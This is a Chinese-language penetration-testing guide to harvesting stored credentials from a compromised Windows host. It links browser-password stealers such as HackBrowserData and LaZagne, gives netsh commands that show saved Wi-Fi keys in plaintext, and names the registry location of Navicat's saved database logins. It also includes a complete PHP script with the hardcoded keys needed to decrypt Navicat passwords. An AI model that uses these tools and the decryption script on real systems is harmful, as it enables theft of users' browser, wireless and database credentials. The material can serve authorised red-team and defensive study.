一、浏览器密码获取
获取浏览器密码在内网渗透中的单机信息收集中是比较重要的一环,可能从浏览器中默认保存的密码中获取信息,可能这些密码是通用的,往往可以打开一个突破口,这部分主要利用工具。
HackBrowserData
https://github.com/moonD4rk/HackBrowserData
双击运行

BrowserGhost
https://github.com/QAX-A-Team/BrowserGhost/releases
需要时间运行
下载完releases版本后直接使用即可
LaZagne获取主机所有的密码
http://www.secwk.com/2019/10/15/10808/
λ laZagne_x64.exe all 非常简单的使用方式
360浏览器密码获取
360SafeBrowsergetpass
二、无线密码获取
Netsh wlan show profiles 查看当前系统保存的无线
Netsh wlan show profile name=xxxx key=clear 查看明文信息
三、NAVICAT密码获取
打开注册表
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\101.132.26.xxx
在此目录下会存放着navicat里的主机username 和 password
再将此密码放入此脚本中进行解密
<?phpclass NavicatPassword{protected $version = 0;protected $aesKey = 'libcckeylibcckey';protected $aesIv = 'libcciv libcciv ';protected $blowString = '3DC5CA39';protected $blowKey = null;protected $blowIv = null;public function __construct($version = 12){$this->version = $version;$this->blowKey = sha1('3DC5CA39', true);$this->blowIv = hex2bin('d9c7c3c8870d64bd');}public function encrypt($string){$result = FALSE;switch ($this->version) {case 11:$result = $this->encryptEleven($string);break;case 12:$result = $this->encryptTwelve($string);break;default:break;}return $result;}protected function encryptEleven($string){$round = intval(floor(strlen($string) / 8));$leftLength = strlen($string) % 8;$result = '';$currentVector = $this->blowIv;for ($i = 0; $i < $round; $i++) {$temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector));$currentVector = $this->xorBytes($currentVector, $temp);$result .= $temp;}if ($leftLength) {$currentVector = $this->encryptBlock($currentVector);$result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);}return strtoupper(bin2hex($result));}protected function encryptBlock($block){return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING);}protected function decryptBlock($block){return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING);}protected function xorBytes($str1, $str2){$result = '';for ($i = 0; $i < strlen($str1); $i++) {$result .= chr(ord($str1[$i]) ^ ord($str2[$i]));}return $result;}protected function encryptTwelve($string){$result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);return strtoupper(bin2hex($result));}public function decrypt($string){$result = FALSE;switch ($this->version) {case 11:$result = $this->decryptEleven($string);break;case 12:$result = $this->decryptTwelve($string);break;default:break;}return $result;}protected function decryptEleven($upperString){$string = hex2bin(strtolower($upperString));$round = intval(floor(strlen($string) / 8));$leftLength = strlen($string) % 8;$result = '';$currentVector = $this->blowIv;for ($i = 0; $i < $round; $i++) {$encryptedBlock = substr($string, 8 * $i, 8);$temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector);$currentVector = $this->xorBytes($currentVector, $encryptedBlock);$result .= $temp;}if ($leftLength) {$currentVector = $this->encryptBlock($currentVector);$result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);}return $result;}protected function decryptTwelve($upperString){$string = hex2bin(strtolower($upperString));return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);}};//需要指定版本两种,11或12//$navicatPassword = new NavicatPassword(11);$navicatPassword = new NavicatPassword(11);//解密 https://tool.lu/coderunner//$decode = $navicatPassword->decrypt('5658213B');$decode = $navicatPassword->decrypt('B43AAE7AE7D80102A4C2EB');echo $decode."\n";?>
https://tool.lu/coderunner 即可获取争取的数据明文密码
